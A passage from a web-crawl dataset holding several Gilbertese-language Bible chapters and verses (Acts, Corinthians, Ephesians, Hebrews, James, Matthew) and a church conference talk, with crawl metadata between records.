taekan rairan nanoia aomata ake tiaki I-Iutaia; a rangi ni kimwaareirei taari irouia ngke a ongo arei. 4Ngke a roko i Ierutarem, ao a mwaneaki n aakoaki iroun te ekaretia ikekei, ao irouia taan tuatua ma unimwaane; ao a tuangiia bwaai ni kabane ake E karaoi te Atua ma ngaiia. 5Ma a tei rake tabemwaang ake a onimaki man te koraki ni Bwaritaio, ao a kaangai, A bon riai ni koroberoaki, ao ni kamatoaaki te taekanakoia bwa a na tou mwiin ana tua Mote. 6A bootaki taan tuatua ma unimwaane bwa a na iangoa te baerei. 7Ngke e a maan te kauntaeka, ao e tei rake Betero, ao e kaangainakoia, Mwaane, taari, kam ataai bwa E rineai ngkoa te Atua i buakora bwa N na tataekina te euangkerio nakoia aomata aika tiaki I-Iutaia, bwa a aonga n ongo ma n onimaki. 8Ao te Atua, are e atai naano nako, E kaota aroni butimwaaeaia aomata aika tiaki I-Iutaia irouna ngke E anganiia te Taamnei are e Raoiroi, n ai arona naba ngke E anganiira; 9ao E aki kakaokoroa arora ma ngaiia, ngke E kabwarai aia bure ibukin aia onimaki. 10Ma ngaia ae kam aera ngkai kam kataa te Atua, ngkai kam katokaa te rawaawata i aoia reirei, are a aki konaa n uotia ara bakatibu, ao ti aki konaa naba ngaira? 11Ma ti onimaki bwa ti na boni kamaiuaki n ana aakoi te Uea are Iesu n ai aroia naba. 12A bane n aki karongoaa aomata ngke a ongoraa irouni Bwarenaba ma Bwauro, ngke a karakin taekani kanikina ma mwakuri aika a kamiimii ake E karaoi te Atua irouia i buakoia aomata aika tiaki I-Iutaia. 13Ngke a a tia n taetae, ao e a kaangai ngkanne Iakobo, 14Mwaane, taari, kam na ongoraa irou: e a tia Timon ni karakina aron te Atua ngke E moani kawariia aomata aika tiaki I-Iutaia bwa E na anaa te bootanaomata mai buakoia bwa ana bwai. 15E bo raoi aei ma aia taeka buraabeti, n aron are e koreaki ni kaangai, 16I mwiini baikai ao N na oki, ao N na manga katea batan Tawita are e bwaka; N na manga karaoia man uruakina, ao N na manga kateia rake; 17bwa a na ukoukora te Uea nikiraia aomata, ni bootaki ma aomata ake tiaki I-Iutaia, ake I a tia n atongiia bwa oin au bwai. 18Aei ana taeka te Uea, ae e kaoti baikai ma ngkoangkoa. 19Ma ngaia ae I taku ngai bwa ti na aki kumeia ake a rairaki nakon te Atua mai buakoia aomata ake tiaki I-Iutaia, 20ma ti riai ni korea te reta nakoia, n tuangiia bwa a na aki kangi baike a a tia ni kareanaki nakoni bouananti bwa a kamwaraa; ao bwa a na aki bwaina te wene ni bure, ao a na aki kang irikoni maan aika a koonaki roroaia ngke a tiringaki, ao a na aki kana naba te raraa. 21Bwa iai ake a tataekina ana taeka Mote ma ngkoangkoa i nanoni kaawa nako, ao a warekaki ana tua i nanoni mwaneaba n te taabati ae koraki. 22E taraa n raoiroi nakoia taan tuatua ma unimwaane ma kaain te ekaretia ni kabane bwa a na kanakoia aomata aika a rineaki mai buakoia nako Antioka, bwa raoni Bwauro ma Bwarenaba. A rinea ngkanne Tira ao Iuta are arana teuana Baretaba, aika aomata aika a rangi n onimakinaki i buakoia taari. 23A korea te reta bwa uotaia, ae e kaangai taekana: Ti anga ara kamauri, ngaira aika taan tuatua ma taari aika unimwaane,nakoimi ngkami aika taari aika tiaki I-Iutaia i Antioka ao i Turia ao i Kirikia. 24Ngkai ti ongo bwa iai tabemwaang i buakoia ara koraki aika a kakiriweeingkami n aia taeka, ao a uru nanomi iai, aika te koraki aika akea ara taeka nakoia bwa a na karaoa ae aron anne; 25ao e taraa n tamaaroa nako ira, ngkae e reke nanora ae ti teuana, bwa e riai bwa ti na rineia aomata ni kanakoia nako imi, ma raora aika a tangiraki are Bwarenaba ma Bwauro, 26ake aomata ake a aki mutiakini maiuia ibukin aran ara Uea are Iesu Kristo. 27Ti a kanakoia ngkanne nako imi Iuta ma Tira, bwa a na bon taetae nako imi ibukini baika ti korei n te reta. 28Bwa e taraa n tamaaroa nakon te Taamnei are e Raoiroi, ao nako ira naba bwa ti na aki katokaa riki te uota i aomi ae e rawaawata, ma ti baikai aika a riai: 29kam na aki kang amwarake ake a a tia ni kareanaki nakoni bouananti; kam na aki kang raraa; kam na aki kana te man ae e tiringaki ni koonaki roroana; ao kam na aki wene ni bure; ngkana kam kararoaingkami mani baikai ao kam karaoa ae kam na kabwaia iai. Ti a bo. 30Ao uaakekei, ngke a kanakoaki, ao a nako Antioka, ike a bootiia iai kaain te ekaretia, ao a anganiia te reta. 31Ngke a warekia, ao a kimwaareirei n taekana ake a kauungaaki iai nanoia. 32A kauungaia naba taari Iuta ma Bwauro n taeka aika a bati, ngkai boni buraabeti naba ngaiia, ao a kakorakorai nanoia. 33Ngke a boni maan n tiku ikekei, ao a kanakoaki ma taeka ni katekeraoi irouia taari nakoia naake a kanakoia 35A maeka Bwauro ma Bwarenaba ma raoia aika a bati i Antioka, ao a reirei ma n tataekina ana taeka te Uea. 36I mwiin tabe bong, ao e taku Bwauro nakoni Bwarenaba, Ti na manga nako ni kawariia tarira ni kaawa nako ake ti taekina ana taeka te Uea iai, bwa ti na noori aroiia. 37Ao Bwarenaba e kani kaira Ioane, are arana teuana Mareko. 38Ma Bwauro e taku n ana iango bwa ngkai e a tia n aki raoniia Ioane, ao e aki iriia n aia mwakuri, ao e riai bwa a na aki kairia bwa raoia. 39A bo ngkanne ni kauntaeka n te aro are a raure nako iai: e kaira Mareko, Bwarenaba, ao a borau nako Kubero; 40ma Bwauro e rinea Tira, ao a nako, ngke a a tia ni mwiokoaki taekaia nako nanoni bain te Uea, bwa a na kakabwaiaaki n ana akoi. 41Ao e nako Bwauro ma Tira, ni kabutaa aon Turia ma Kirikia, ao e kakorakoraia ekaretia.\nMWAKURI 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/15","date":"2013-12-11T11:33:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164035309\/warc\/CC-MAIN-20131204133355-00051-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1125,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.437,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4are kanoana te baonikarea ae te koora ibukini kabuokani karea aika a boiarara, ma atin te berita are e kanimwaki te koora iai ni kabutaa, are e mena i nanona te bwaati ae te koora are kanoana te manna, ma te kai are okon Aaron are a bwebwe baanikai maiai, ma baban te booraraoi ake atiibu.\nEBERA 9:4\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/4","date":"2013-12-08T20:23:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163809293\/warc\/CC-MAIN-20131204133009-00057-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":60,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 2:2525Ao tiaki bwa ai aron naba Nei Raba are te kabekaau? E reke reitakina ma te Atua n ana mwakuri, ngke e akoiia taan tutuo akekei, ao e kanakoia n te kawai teaina. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/2\/25","date":"2013-12-10T05:38:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164009894\/warc\/CC-MAIN-20131204133329-00070-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999281168,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999281167984009}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10785_859_12packerMan bwaai aika I a tia ni wareki ao n reirei ao n reiakinna, teuana te koaua ae moan te kakawaki ao n tabu ae n na anga n au kakoaua iroun Iesu Kristo.\nN 1992 imwin mwakuriu inanon ruaiwa te ririki n riki bwa te tia ibuobuoki nakoia Tengaun ma Uoman ao 22 te ririki bwa te membwa n te Tengaun ma Uoman, I a tia n roko n te ririki ae 68. I namakina te kan waaki ni korea te bwai ae I atonga. \"Te Ototo ae Tuai Tia\" Moanakin te koroboki anne e waaki ni kangai:\nTebwina te ririki imwiina, I kan reita tabeua taeka nakon te boem anne:\nAo n te ririki are nako I reitii taeka aikai:\nAo I bon ataia!\nWintoon ara auti mai buki e kona n noraki te onaroka ni ue ao taian kai aika a mena i mataniwin te karanga ae uarereke. Teuana oon te auti e tena ma te onaroka ae onrake n te English aiwi. Angin ririki te aiwi aio e a tia n riki bwa ngaoia manikiba aika aki toki n tangitang. Taian ngao n te kai aio a bon katanaki raoi mairouia taian man aika kameanti, te rakuun ao taian katamwa ake a roko n te tairiki ni kakae kanaia.\nN te bong teuana iai te kakiriwe n te aiwi. Te tang ae kaota te bwara n nano ao te kanganga e a karokoia 8 ke 10 mannikiba man tabo aika uakaan ni uaia n tang ni karongoa. I a nora bukin te kakiriwe. Te naeta e ruo rikaki man te aiwi ao n tinetine imatan te wintoo n ae tau raroana mairou n te aro are N na kona ni katikia nako. Mwakoron rabwatan te naeta are mai nuuka iai uoua tibutauna—e oti kakoauakina bwa e kabwauti uoman natin te manikiba man te ngao. Ti tuai n noora aekakin anne inanon 50 n ririki inanon maekara ni mweengara. Bon ti tetaina norakin aio ni maiu—ke tao anne are ti iangoia.\nTabeua te bong ao manga iai naba te kanganga, n te tai aio te kai are rabuna te oo are kawakinaki iai ara kamea. Ti ongo naba te aekaki n tang ae titebo ao rokoia naba mannikiba man taabo aika kan nako iai. Ti a ataa te Tia urubwai. Tibu te mwane ae tamwarake nako aon ana tabo te kamea ao e a manga katika naba te naeta are tabe n taua te tina ni mannikiba are mena n te ngao ao e tiringnga.\nI a bon taku i bon irou. \"Tera ae ae e a riki? E a manga niniaki riki te Onaroka are i Eten?\"\nE a roko n au iango taian taeka ni kauring ae a taekinaki irouia burabeti. Ti na aki mano n tainako man ana kairarang te tia kakaitara, e ngae ngkana mweengara. Ti riai ni kamanoia ara ataei.\nTi maeka n te aonaba ae moan te kanganga are kakamakui bwaai n tamnei. Te Utu te bwai ni mwakuri n te tai aio ao n te tai ae akea tokina a mena iaan ekakinakoia man taian mwaaka aika a aki noraki. Te tia kakaitara ae mwamwakuri. Ana iango bon karikan te ikoaki. Ngkana e kona ni kamamara ao n urua te utu, e na bon tokanikai.\nAomata Aika Itiaki Ni Bong Aika Kaitira a ataa te tia ae bongana n te Utu ao ni kakorakora ni maeka n te aro anne n te aro are te kanganga e aki kona n ninia nako taian mweenga. Ti kunea te kamanoaki ao te kawakinaki ibukira ao natira man karineakin taian berita are ti maiuakinna man karaoan te ongeaba are tangiraki irouia taan ririmwin Kristo.\nE taku Itaia, \"Ana mwakuri te raoiroi bon te rau, ao reken te raoiroi te rau n nano ao ae akea tokina.\"2\nTe rau anne e beritanaki n te kaotioti are e katanoata te Uea bwa ngkana ti tauraoi ti na aki maaku.3\nKorakoran mwakan te nakoanibonga e anganaki te aba ni kamanoi mweenga ao kaaina. Te Tama iai irouna te kariaiakaki ao te katabeaki n reireiniia natina ao ni kakabwaia ao ni katauraoi ibukin taian otenanti n te euangkerio ao e riai ni kabane ana kamanomano te nakoanibonga. E na kaota te tangira ao koron te kakaonimaki ao ni karinerine nakon te tina n te aro bwa naati a na nora te tangira.\nI a tia n ataia bwa te onimaki bon te mwaaka ni koaua tiaki te tataneiai ke te kakoaua. Iai bwaai tabeua aika mwaaka riki nakon te tataro ni kakaonimaki iroun te tina ae raoiroi.\nReireiniko ao reireiniia kain am utu aron ana bwaintangira te Tamnei are Raoiroi ao Ana Mwakuri ni Kamaiu Iesu Kristo. Ko na aki karaoa te mwakuri ae akea tokina ae korakora nakon are inanon mweengam.\nTi ataia bwa ngaira ataei aika tamnei irouia ara karo i karawa. Ti mena ikai n te aonaba ni karekei rabwatara aika mamate ao ni kataaki. Ngaira aika iai rabwatara aika mamate iai mwakara iaoia ake akea.4 Ti inaomata n rinerine n are ti kan karaoia ao n anaa ao n rinei ara mwakuri, ma ti aki inaomata n rinea mwiin ara mwakuri. A na bon tiku n aroia.\nTe rinerine e kabwarabwaraaki ni booki aika tabu bwa te aro n rinerine, are nanona bwa ti kona n rinerine i marenan te raoiroi ao te buakaka. Te un e kakaea kamanenakin inaomatara n rinerine n te aro ae aki eti.\nE reireiniira boki aika tabu bwa aomata nako a na mwakuri inanon tua ao reirei nakon baika a na riki ni kaineti ma te inaomata n rinerine n aron are I a tia anganna, bwa aomata nako a na bon bukintaeka ibukin aia bure n te bong ni motikitaeka.5\nE reirei Aramwa bwa te Uea E bon aki kona n taraa te bure ma ni kariaia karoana naba teutana.\"6 N te aro bwa e na ota aio, ti na kaokoroa te bure ma te tia bure.\nTe bwai ni kakairi ngke a uota nako matan te Tia Kamaiu te aine ae kuneaki ni wenenibure, e bon bure. E kamauna te keiti n ti nimaua te taeka \"Nako ao tai manga bure.\"7 Anne te tamnei n Ana Mwakuri.\nTe taotaonannano bon te tamaroa, ma, n aron ni kabane te tamaroa, ngkanae e onikia nakon te waiti. Tiriai ni karaurau n rinanoan te \"bwai ni kamwane\" bwa ti rawa n reke iai. Te kariaia are reke man kariaiakan kamamaraeakin tuan te aba n okiokira kaetakin te tua ibukin te tangako e na aki kakerikaka mwiina ae rangi n rawawata are na reke man uruakan Ana tua te Atua ibukin tuan te itiaki.\nTi bane ni bungiaki ma Ootan Kristo te kairi ae anainano are kariaia te aomata n tatabemaniia n ataa te eti man te kairua. Te bwai are ti karaoia ma te ota arei ao ti kanga ni kaeka nakon kairiri ni maeka ma te raoiroi bon mwakoron katakin te aroaro.\n\"Bwa noria, a bane n anganaki aomata Tamnein Kristo bwa aonga n ataa te raoiroi man te buakaka, ma ngaia are N na kaota nakoimi kawain te motikitaeka, bwa bwaai ni kabane ake a kakao nakon karaoan te raoiroi man kairoro nakon kakoauan Kristo, e bon roko mani mwaakan ana bwai n tangira Kristo, ma ngaia are kam na ataia ma te atatai ae kororaoi, bwa bon mairoun te Atua.\"8\nNgaira n tatabemaniira ti na tiku n tauraoi ni kaeka nakon te namakin ae kakawaki ao Ana Kairi te Tamnei are Raoiroi. Iai Ana kawai te Uea n nurakina te ataibwai ae itiaki inanon ara iango n anai nanora, ni kairira n reireiniira, ni kauringira. Natin te Atua mwane ao aine n tatabemaniia a kona n ataa te bwai ae a kan ataia ngkai. Reiakina ni karekea ao ni mwakuri iaon te namakin are kakawaki ao taian kaotioti.\nBwaai ni kabane ake I a tia ni wareki ao n reirei ao ni karekea, teuana te koaua ae moan te kakawaki ao n tabu bwa N na anga bon au koaua ae onoti ibukin Iesu Kristo. E maiu, I ataia E maiu, Ngai Ana Tia kakoaua Mai Irouna I kona ni kakoaua. Bon ara Tia Kamaiu, Te Tia Kaboira. N aio I kakoaua n aran Iesu Kristo, amen.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.lds.org\/general-conference\/2013\/04\/these-things-i-know?lang=spa&clang=gil","date":"2013-12-21T16:02:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1387345775611\/warc\/CC-MAIN-20131218054935-00071-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1366,"character_repetition_ratio":0.04,"word_repetition_ratio":0.001,"special_characters_ratio":0.221,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:99Ao ai aromi naba, ngkana kam aki bwaina te taetae ae kai ataaki nanona, ao e na iraanaki n ataaki nanon te baere e taekinaki? Bwa ane kam na taetae nakon te ang. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/9","date":"2013-12-13T17:32:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164965557\/warc\/CC-MAIN-20131204134925-00080-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999835491,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.999983549118042}","num_words":49,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kakairi irou, n arou ngkai I kakairi iroun Iesu. 2I kamoamoa-ingkami, ngkai kam ururingi baike I karaoi ao I reireiningkami iai, ao ngkai kam iri nanon taeka n reirei ake I a tia n anganingkami. 3Ma I tangiringkami bwa kam na ataia bwa atuun te mwaane boni Kristo, ao atuun te aine bon te mwaane, ao atuuni Kristo bon te Atua. 4Te mwaane ae e tataro ke ae e taetae ni buraabeti, n rabuna atuna, ao e kamatauningaa atuna. 5Ao te aine ae e tataro ke ae e taetae ni buraabeti, n aki rabuna atuna, ao e kamatauningaa atuna; bon akea okorona ma te aine are e a tia ni korobuatauaki. 6Bwa ngkana e aki rabunaki atuun te aine, ao ke e koreaki irana; ma ngkana te bwai ni kamaamaa nakon te aine korean irana ma korobuatauana, ao ke e rabunaki atuna. 7Bwa e bon aki riai n rabunaki atuun te mwaane, ngkai katootoongan ao mimitongin te Atua; ma te aine boni mimitongin te mwaane. 8Bwa e aki riki te mwaane mai iroun te aine, ma e riki te aine mai iroun te mwaane; 9ao e aki karikaki te mwaane ibukin te aine, ma e karikaki te aine ibukin te mwaane. 10I bukin aei, ao i bukiia naba anera, ao e riai iroun te aine bwa e na meemena kanikinaaean tauan arona i aon atuna. 11E boni ngae n anne, ma n te maiu n i raorao i nanon te Uea, ao e bon riai iroun te mwaane bwa e na iai te aine i rarikina, ao iroun te aine bwa e na iai te mwaane i rarikina. 12Bwa ngkae e riki te aine mai iroun te mwaane, ao ai aron naba te mwaane: e riki mai iroun te aine, ma n te aro ni bungiaki; ao a bane bwaai n riki mai iroun te Atua. 13Kam na karekei ami baaire i bon iroumi: e tau te aine n tataro nakon te Atua, n aki rabunaki atuna? 14A aki reireiningkami aroni bwaai aika a karikaki, bwa e aki toronaomata te mwaane ngkana e anaanau iranatuna? 15ma ngkana e anaanau iranatuun te aine, ao boni bwaini kamoamoaakina; bwa e anganaki iranatuna bwa bwain rabunan atuna. 16Ma ngkana iai ane e kani kauntaekaa taekan te baei, ao akea riki ae I konaa n taekinna, bwa ti aei: bwa akea riki te katei teuana ae ti ataia ke a ataia ana ekaretia nako te Atua. 17Ma n au taeka aikai, ao bon akea iai kamoamoaakimi irou, ibukina bwa aromi ni bobootaki e a kariki riki baika a bubuaka nakoimi nakoni baika a raraoi. 18Bwa aio moa, ngkana kam bootaki n ekaretia. ao I ongo bwa e bwenaua ami bootaki nakoni koraki n i-kaakaiwi aika a kakaokoro; ao I kakoauaa te rongorongo anne teutana. 19Bwa a bon riai n iai taiani bwenaua n ami bootaki, bwa a aonga ni kinaaki iai te koraki aika bon taan onimaki ni koaua i buakomi. 20Ma ngaia aei, ngkana kam bootaki, ao bon tiaki ana Toa te Uea are kam kanna. 21Bwa ngkana kam amwarake, ao e waaki n amwarake i bon irouna te aomata n aki tataninga; ao e baki temanna, ao e manging temanna. 22Bwa akea ami auti aika kam konaa n amwarake ma ni mooi iai? Ke kam kaakeaa boonganan ana ekaretia te Atua, ma ni kamaamaaiia te koraki akana akea aia bwai? Tera ae N na atongnga nakoimi? N na kamoamoaingkami? I bon aki kamoamoaingkami n anne. 23Bwa I karekea mai iroun te Uea te baere I a tia naba n anganingkami: bwa E anaa te berena te Uea are Iesu n te bong are E kamwaneaki iai; 24ao ngke E a tia n tataro ni katituaraoi, ao E urua, ao E kaangai, Rabwatau aei i bukimi. Kam na karaoa aei bwa kanuringau. 25Ngke a a tia n amwarake, ao E anaa te mwangko n aron naba are E karaoia nakon te berena, ao E kaangai, Te mwangko aei, te booraraoi ae e boou i nanon raraau. Kam na karaoa aei, n taai ake kam mooi iai, bwa kanuringau. 26Bwa n taai ake kam kana iai te berena aei, ma ni mooi n te mwangko aei, ao kam kaotiota iai maten te Uea, ni karokoa ae E roko. 27Ma ngaia aei, bwa ane e kana te berena, ke e mooi n ana mwangko te Uea n te aro ae e aki riai, ao e bure iai nakon rabwatan te Uea ma raraana. 28Ke e tirotiroa moa nanona te aomata, ao i mwiina e na kana te berena, ma ni mooi n te mwangko. 29Bwa ane e amwarake ma ni mooi n aki ataia bwa tera rabwatan te Uea, ao e na karekea motikan taekana ae e na kabuaakakaaki iai. 30Ao anne bukin ae a bati iai i buakomi aika a mamaara ma aika a aki konabwai, ao a a tia ni mate tabemwaang. 31Ma ngkana ti neneri raoi aroarora, ao akea baairean taekara. 32Ma ngkana a baaireaki taekara iroun te Uea, ao E bon reireiniira iai, bwa ti aonga n aki uaia ni kabuaakakaaki ma te aonnaba ae e eekaanako nanon te Atua. 33Mangaia aei, taari, ngkana kam bootaki ni karaoa ana Toa te Uea, ao kam na tataningaia raomi. 34Ngkana iai a baki i buakomi, ao a riai n amwarake n aia auti, bwa kam aonga n aki motikaki taekami te Atua ngkana kam bootaki. Ao ibukin bwaai riki ake tabeua, I a bon kaeti ngkana I roko ikanne.\n1 KORINTO 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/11","date":"2013-12-10T08:23:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164013918\/warc\/CC-MAIN-20131204133333-00059-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":907,"character_repetition_ratio":0.06,"word_repetition_ratio":0.002,"special_characters_ratio":0.239,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ataei, ngkai kam reitaki ma te Uea; ao kam na ongotaeka irouia ami karo, bwa e riai aei. 2Ko na karinea tamam ma tinam. Bon aei te moa n tua ae e raonaki n te taeka n aakoi ae e kaangai, 3Bwa ko aonga ni kabwaia, ao e aonga ni maan am tai ni maiu i aon te aba. 4Ao ngkami taama, tai kauniia natimi: ma kam na tongaiia ma ni kairiia i aan te reireiaki ma te tuatuangaki aroia aika a riai n ai aron nanon te Uea. 5Ao ngkami tooro, kam na ongotaeka irouia ami toka aika aomata, n ruru ni maaku, ao karaoia ma te nano ni koaua, n ai aromi n ongotaeka irouni Kristo. 6Kam na karaoia tiaki ibukina ngke kam kani kakukureiia ngke a taraingkami; ma kam na karaoia n ai aroia ana toro Kristo aika a karaoa nanon te Atua ma nanoia ni koaua. 7Kam na karaoa ami mwakuri n toro ma te nanoraoi, bwa kaanga ai aron ae kam toro iroun te Uea ma tiaki irouia aomata. 8Kam bon ataia bwa e na reke nakon temanna ma temanna boona mai iroun te Uea n te mwakuri ae e raoiroi are e karaoia, n aki warekaki bwa te toro ngaia ke te inaomata. 9Ao ngkami tooka, kam na karaoi baikai naba nakoia, ao tai kamaakuia; ngkai kam ataa aia Toka, are ami Toka naba, bwa E mena i karawa, ao akea ae E nanoniia irouia aomata. 10Te kabanea: kam na korakora i nanon te Uea, ao ni korakorani mwaakana. 11Kam na karini bwaini buaka nako ake mai iroun te Atua aika bwaini kamanoan rabwatami, bwa kam aonga ni konaa n tei ni kaaitarai aron te riaaboro ni wanawana aika a bureburea te aba. 12Bwa ti aki buaka ma aomata, ma ti buaka ma ueea, ma ake a korakora, ma taan tauu taekan aonnaba aika taan taua aron te roo aei, ma taian taamnei aika a buaakaka ake i aani karawa. 13Ma ngaia ae kam na karini bwaini kamanoan rabwatami ake mai iroun te Atua, bwa kam aonga ni konaa n tei ni kaaitaraiia n te bong ae e buaakaka; ao ngkana kam a tia ni karaoi bwaai ni kabane, ao kam na bon aki konaaki. 14Ma ngaia ae kam na tei, ao kam na kabae nuukami n te koaua, ao kam na katokaa te tanga are karaoan nanon te Atua, 15ao kauniwaeningkami n te tauraoi n taekina euangkerion te raoi. 16Kam na uouota n taai nako te otanga are te onimaki, are kam konaa iai ni kabane n tiring taian ai ake a ura i tabon ana kai ni bakarere teuare e buaakaka. 17Ao kam na uouota naba te barengaru are te maiu, ma ana kabaang te Taamnei, ae ana taeka te Atua. 18Ao kam na tataro n aki toki n taian tataro ni kabane ma buubuti, n ai aroni kairami iroun te Taamnei; ao kam na kamarurungingkami nako iai, ma n aki bwara n nano, ni buubuti i bukiia ake a itiaki ni kabaneia, 19ao i bukiu naba; bwa I aonga n anganaki te taetae, bwa N na kaurea wiiu n aki mamaaku, ni kaota te baere e raba are n te euangkerio, 20are te tia taetae ngai ibukina ae I kabaeaki iai n te taurekereke; bwa I aonga n taekinna n aki mamaaku, n te aro ae e riai bwa N na taekinna iai. 21Tukiko, ae te tari ae e tangiraki, ae te tia mwakuri ae e kakaonimaki ibukin te Uea, e na kaongoraaingkami bwaai ni kabane, bwa kam aonga naba n atai taekau ma arou bwa I ua ra: 22bwa anne bukin ae I kanakoa iai nakoimi, bwa kam na atai arora, ao e na karau nanomi. 23E bia reke te rau, ma te tangira, ma te onimaki irouia taari mai iroun te Atua are te Tama ma te Uea are Iesu Kristo. 24E na mena te aakoaki irouia aomata ni kabaneia ake a tangira ara Uea are Iesu Kristo n te tangira ae akea tokina.\nEBETO 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/6","date":"2013-12-08T16:15:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163066263\/warc\/CC-MAIN-20131204131746-00089-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":666,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 9:2727ma I kataneiaia rabwatau n te aro bwa e aonga ni matoatoa, ao I taua taekan arou bwa kaanga te toro, bwa e kaawa n aki reke arou i mwiin tataekinan te euangkerio nakoia temwaangina. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9\/27","date":"2013-12-07T13:24:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054457\/warc\/CC-MAIN-20131204131734-00094-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999787807,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.99997878074646}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E ruo Iesu man te maunga, ao a iria aomata aika a rangi ni mwaiti. 2Ao nooria, e roko temanna ae e reebera ao e katorobubua ni bobaraaki i matana ni karinea, ao e taku, Te Uea, ngkana nanom, ao Ko konaa ni kaitiakai. 3E arora baina Iesu ao E riingnga, ao E taku, Bon nanou; ko na itiaki. Ao e a rina naba n toki reeberana. 4E taku Iesu nakoina, Taraia bwa ko na aki tuanga temanna taekan te baei; ma naako moa kaotiko nakon te ibonga, ao anga te karea n ai aron are e tua Mote, bwa te bwai ni kakoaua nakoia aomata. 5Ngke E roko Iesu i Kaberenaum, ao e nakoina mataniwiin te taanga ni buaka ae tebubua mwaitini kaaina, ni butiia, 6ao e taku, Te Uea, e wene n aoraki au toro n au auti. E aki konaa ni kakamwakuri, ao e korakora marakina. 7Ao E taku Iesu nakoina, N na nako ni kamaiua. 8Ma e kaeka mataniwiin te taanga ni buaka are tebubua kaaina, ao e taku, Te Uea, I aki tau bwa Ko na rin i nanon au auti: ma an taetae naba, ao e a marurung naba au toro. 9Bwa te aomata ngai ae I mena i aaia ake a kakananto riki nakoiu, ao iai tautia aika I mataniwi i aoia: ngkana I kaangai nakon temanna, Naako, ao e nako; ao nakon temanna, Nako mai, ao e roko; ao nakon au toro, Karaoa aei, ao e karaoia. 10Ngke E ongo taeka aikai Iesu, ao E miimii iai; ao E taku nakoia ake a iria, E koaua ae I a tuangkami bwa akea i buakoia Iteraera ae I kunea bwa iai ana onimaki ae e korakora n aron aei. 11Ao I taku nakoimi, bwa a na roko aomata aika a bati mai mainiku, ao mai maeao, ao a na tekateka n rarikiriki n amwarake ma Aberaam, ma Itaaka, ma Iakobwa, n uean te 